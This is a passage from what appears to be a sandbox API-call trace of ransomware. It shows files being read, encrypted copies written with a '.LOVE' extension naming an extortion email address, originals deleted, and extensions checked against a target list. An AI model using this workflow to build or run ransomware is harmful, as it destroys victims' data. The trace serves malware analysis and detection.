dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0213.047] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fc64 | out: lpNewFilePointer=0x0) returned 1 [0213.047] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fc24 | out: lpNewFilePointer=0x0) returned 1 [0213.047] ReadFile (in: hFile=0x2f0, lpBuffer=0x3f72058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x369fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f72058*, lpNumberOfBytesRead=0x369fc30*=0x40000, lpOverlapped=0x0) returned 1 [0213.049] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x369fc24 | out: lpNewFilePointer=0x0) returned 1 [0213.049] ReadFile (in: hFile=0x2f0, lpBuffer=0x3fb2058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x369fc30, lpOverlapped=0x0 | out: lpBuffer=0x3fb2058*, lpNumberOfBytesRead=0x369fc30*=0x40000, lpOverlapped=0x0) returned 1 [0213.241] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x369fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.242] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x369fc24 | out: lpNewFilePointer=0x0) returned 1 [0213.242] ReadFile (in: hFile=0x2f0, lpBuffer=0x3ff2058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x369fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ff2058*, lpNumberOfBytesRead=0x369fc30*=0x40000, lpOverlapped=0x0) returned 1 [0217.318] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.318] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x369fca8, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fca8*=0xc0112, lpOverlapped=0x0) returned 1 [0217.419] SetEndOfFile (hFile=0x2f0) returned 1 [0217.419] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x43c1468 [0217.424] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fc74 | out: lpNewFilePointer=0x0) returned 1 [0217.424] WriteFile (in: hFile=0x2f0, lpBuffer=0x43c1468*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x369fc80, lpOverlapped=0x0 | out: lpBuffer=0x43c1468*, lpNumberOfBytesWritten=0x369fc80*=0x40000, lpOverlapped=0x0) returned 1 [0217.425] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x369fc74 | out: lpNewFilePointer=0x0) returned 1 [0217.425] WriteFile (in: hFile=0x2f0, lpBuffer=0x43c1468*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x369fc80, lpOverlapped=0x0 | out: lpBuffer=0x43c1468*, lpNumberOfBytesWritten=0x369fc80*=0x40000, lpOverlapped=0x0) returned 1 [0217.428] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x369fc74 | out: lpNewFilePointer=0x0) returned 1 [0217.428] WriteFile (in: hFile=0x2f0, lpBuffer=0x43c1468*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x369fc80, lpOverlapped=0x0 | out: lpBuffer=0x43c1468*, lpNumberOfBytesWritten=0x369fc80*=0x40000, lpOverlapped=0x0) returned 1 [0217.430] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0217.432] CloseHandle (hObject=0x2f0) returned 1 [0218.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0218.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0218.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0218.491] lstrlenW (lpString=".doc") returned 4 [0218.491] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0218.491] lstrlenW (lpString=".docx") returned 5 [0218.491] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0218.491] lstrlenW (lpString=".pdf") returned 4 [0218.491] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0218.491] lstrlenW (lpString=".xls") returned 4 [0218.491] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0218.491] lstrlenW (lpString=".xlsx") returned 5 [0218.491] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0218.491] lstrlenW (lpString=".ppt") returned 4 [0218.491] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0218.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0218.491] lstrlenW (lpString=".zip") returned 4 [0218.491] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0218.491] lstrlenW (lpString=".rar") returned 4 [0218.491] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0218.491] lstrlenW (lpString=".bz2") returned 4 [0218.491] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0218.491] lstrlenW (lpString=".7z") returned 3 [0218.491] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0218.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0218.491] lstrlenW (lpString=".dbf") returned 4 [0218.491] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0218.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0218.492] lstrlenW (lpString=".1cd") returned 4 [0218.492] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0218.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0218.492] lstrlenW (lpString=".jpg") returned 4 [0218.492] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0220.037] GetLastError () returned 0x0 [0220.037] ReadFile (in: hFile=0x300, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0220.141] WriteFile (in: hFile=0x37c, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0220.594] ReadFile (in: hFile=0x300, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x68268, lpOverlapped=0x0) returned 1 [0220.609] WriteFile (in: hFile=0x37c, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x68270, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x68270, lpOverlapped=0x0) returned 1 [0220.617] ReadFile (in: hFile=0x300, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.617] WriteFile (in: hFile=0x37c, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xea, lpOverlapped=0x0) returned 1 [0220.618] SetEndOfFile (hFile=0x37c) returned 1 [0220.618] CloseHandle (hObject=0x37c) returned 1 [0220.618] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.618] SetEndOfFile (hFile=0x300) returned 1 [0220.621] CloseHandle (hObject=0x300) returned 1 [0220.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0220.622] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll")) returned 1 [0220.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0220.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0220.622] lstrlenW (lpString=".doc") returned 4 [0220.622] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0220.622] lstrlenW (lpString=".docx") returned 5 [0220.622] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0220.622] lstrlenW (lpString=".pdf") returned 4 [0220.622] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0220.622] lstrlenW (lpString=".xls") returned 4 [0220.622] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0220.622] lstrlenW (lpString=".xlsx") returned 5 [0220.622] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0220.622] lstrlenW (lpString=".ppt") returned 4 [0220.622] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0220.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0220.622] lstrlenW (lpString=".zip") returned 4 [0220.622] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0220.622] lstrlenW (lpString=".rar") returned 4 [0220.622] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0220.622] lstrlenW (lpString=".bz2") returned 4 [0220.622] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0220.622] lstrlenW (lpString=".7z") returned 3 [0220.623] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0220.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0220.667] lstrlenW (lpString=".dbf") returned 4 [0220.667] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0220.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0220.667] lstrlenW (lpString=".1cd") returned 4 [0220.668] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0220.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0220.668] lstrlenW (lpString=".jpg") returned 4 [0220.668] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0221.307] GetLastError () returned 0x0 [0221.307] ReadFile (in: hFile=0x348, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x59a70, lpOverlapped=0x0) returned 1 [0221.424] WriteFile (in: hFile=0x300, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x59a80, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x59a80, lpOverlapped=0x0) returned 1 [0221.431] ReadFile (in: hFile=0x348, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.431] WriteFile (in: hFile=0x300, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xf0, lpOverlapped=0x0) returned 1 [0221.431] SetEndOfFile (hFile=0x300) returned 1 [0221.433] CloseHandle (hObject=0x300) returned 1 [0221.433] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.433] SetEndOfFile (hFile=0x348) returned 1 [0221.437] CloseHandle (hObject=0x348) returned 1 [0221.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0221.437] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 1 [0221.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0221.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0221.437] lstrlenW (lpString=".doc") returned 4 [0221.437] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0221.437] lstrlenW (lpString=".docx") returned 5 [0221.437] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0221.438] lstrlenW (lpString=".pdf") returned 4 [0221.438] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0221.438] lstrlenW (lpString=".xls") returned 4 [0221.438] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0221.438] lstrlenW (lpString=".xlsx") returned 5 [0221.438] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0221.438] lstrlenW (lpString=".ppt") returned 4 [0221.438] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0221.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0221.438] lstrlenW (lpString=".zip") returned 4 [0221.438] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0221.438] lstrlenW (lpString=".rar") returned 4 [0221.438] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0221.438] lstrlenW (lpString=".bz2") returned 4 [0221.438] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0221.438] lstrlenW (lpString=".7z") returned 3 [0221.438] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0221.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0221.438] lstrlenW (lpString=".dbf") returned 4 [0221.438] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0221.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0221.438] lstrlenW (lpString=".1cd") returned 4 [0221.438] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0221.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0221.438] lstrlenW (lpString=".jpg") returned 4 [0221.438] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 Thread: id = 21 os_tid = 0xf88 [0194.582] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3cd0968 [0194.582] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3ce0970 [0194.583] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ee2c0 [0194.583] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x7ec250 [0194.583] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ee0b0 [0194.583] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x4088020 [0194.585] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ee0e0 [0194.585] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ee0e0, Size=0x20) returned 0x7e0480 [0194.585] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ee0c8 [0194.585] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ee0c8, Size=0x20) returned 0x7e0458 [0194.585] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0194.585] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0194.585] Wow64DisableWow64FsRedirection (in: OldValue=0x37dff50 | out: OldValue=0x37dff50*=0x0) returned 1 [0194.585] lstrlenW (lpString="kernel32.dll") returned 12 [0194.585] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e0480 | out: hHeap=0x790000) returned 1 [0194.585] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0194.586] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e0458 | out: hHeap=0x790000) returned 1 [0194.586] Sleep (dwMilliseconds=0x64) [0194.785] Sleep (dwMilliseconds=0x64) [0195.093] lstrcmpiW (lpString1=".cmd", lpString2=".LOVE") returned -1 [0195.093] lstrlenW (lpString="SetupComplete.cmd") returned 17 [0195.093] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0195.114] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=307) returned 1 [0195.114] CloseHandle (hObject=0x2bc) returned 1 [0195.114] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 0x20 [0195.114] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.114] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0195.114] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.114] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.114] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0195.115] GetLastError () returned 0x0 [0195.115] ReadFile (in: hFile=0x2bc, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x133, lpOverlapped=0x0) returned 1 [0195.145] WriteFile (in: hFile=0x2c0, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x140, lpOverlapped=0x0) returned 1 [0195.146] ReadFile (in: hFile=0x2bc, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0195.147] WriteFile (in: hFile=0x2c0, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0xf6, lpOverlapped=0x0) returned 1 [0195.147] SetEndOfFile (hFile=0x2c0) returned 1 [0195.147] CloseHandle (hObject=0x2c0) returned 1 [0195.148] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.148] SetEndOfFile (hFile=0x2bc) returned 1 [0195.149] CloseHandle (hObject=0x2bc) returned 1 [0195.149] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0195.149] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 1 [0195.150] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0195.150] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0195.150] lstrlenW (lpString=".doc") returned 4 [0195.150] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0195.150] lstrlenW (lpString=".docx") returned 5 [0195.150] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0195.150] lstrlenW (lpString=".pdf") returned 4 [0195.150] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0195.150] lstrlenW (lpString=".xls") returned 4 [0195.150] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0195.150] lstrlenW (lpString=".xlsx") returned 5 [0195.150] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0195.150] lstrlenW (lpString=".ppt") returned 4 [0195.150] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0195.150] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0195.150] lstrlenW (lpString=".zip") returned 4 [0195.150] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0195.150] lstrlenW (lpString=".rar") returned 4 [0195.150] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0195.150] lstrlenW (lpString=".bz2") returned 4 [0195.150] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0195.150] lstrlenW (lpString=".7z") returned 3 [0195.150] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0195.150] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0195.150] lstrlenW (lpString=".dbf") returned 4 [0195.150] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0195.150] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0195.150] lstrlenW (lpString=".1cd") returned 4 [0195.150] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0195.150] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0195.150] lstrlenW (lpString=".jpg") returned 4 [0195.150] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0195.151] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0195.151] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0195.151] lstrlenW (lpString=".doc") returned 4 [0195.151] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0195.151] lstrlenW (lpString=".docx") returned 5 [0195.151] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0195.151] lstrlenW (lpString=".pdf") returned 4 [0195.151] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0195.151] lstrlenW (lpString=".xls") returned 4 [0195.151] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0195.151] lstrlenW (lpString=".xlsx") returned 5 [0195.151] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0195.151] lstrlenW (lpString=".ppt") returned 4 [0195.151] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0195.151] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0195.151] lstrlenW (lpString=".zip") returned 4 [0195.151] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0195.151] lstrlenW (lpString=".rar") returned 4 [0195.151] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0195.151] lstrlenW (lpString=".bz2") returned 4 [0195.151] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0195.151] lstrlenW (lpString=".7z") returned 3 [0195.151] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0195.151] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0195.151] lstrlenW (lpString=".dbf") returned 4 [0195.151] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0195.152] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0195.152] lstrlenW (lpString=".1cd") returned 4 [0195.152] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0195.152] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0195.152] lstrlenW (lpString=".jpg") returned 4 [0195.152] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0195.152] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.152] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.152] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0195.206] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=17240) returned 1 [0195.206] CloseHandle (hObject=0x2c8) returned 1 [0195.206] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 0x80 [0195.206] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.206] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0195.206] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.206] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.206] CreateFileW 